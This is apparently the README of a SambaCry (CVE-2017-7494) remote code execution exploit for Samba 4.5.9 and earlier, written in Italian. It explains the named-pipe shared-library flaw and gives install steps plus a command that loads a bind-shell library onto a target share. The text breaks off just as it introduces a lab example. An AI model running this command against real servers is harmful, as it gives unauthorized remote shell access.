Exploit SambaCry RCE per Samba 4.5.9

Samba è un software libero che reimplementa il protocollo di rete SMB/CIFS. Samba fornisce servizi di file e stampa per vari client Microsoft Windows e può integrarsi con un dominio Microsoft Windows Server, sia come Domain Controller (DC) che come membro del dominio. A partire dalla versione 4, supporta Active Directory e i domini Microsoft Windows NT.

Samba nella versione 4.5.9 e precedenti è vulnerabile a una vulnerabilità di esecuzione remota di codice chiamata SambaCry. CVE-2017-7494 consente a utenti autenticati remoti di caricare una libreria condivisa in una cartella condivisa scrivibile e di eseguire attacchi di esecuzione di codice per prendere il controllo dei server che ospitano servizi Samba vulnerabili.

Samba 3.x dopo 3.5.0 e 4.x prima di 4.4.14, 4.5.x prima di 4.5.10 e 4.6.x prima di 4.6.4 non limita il percorso del file quando si utilizzano named pipe di Windows, il che consente a utenti autenticati remoti di caricare una libreria condivisa in una cartella condivisa scrivibile e di eseguire codice arbitrario tramite una named pipe appositamente predisposta.

Exploit

Usa poetry per configurare l'ambiente per questo exploit

pip3 install -r requirements.txt

Dopodiché puoi eseguirlo come segue:

./exploit -t <target> -e libbindshell-samba.so \
             -s <share> -r <location>/libbindshell-samba.so \
             -u <user> -p <password> -P 6699

Ad esempio, se usi l'immagine vulnerabile da vulnerables/cve-2017-7494 e vuoi eseguire questo exploit contro di essa: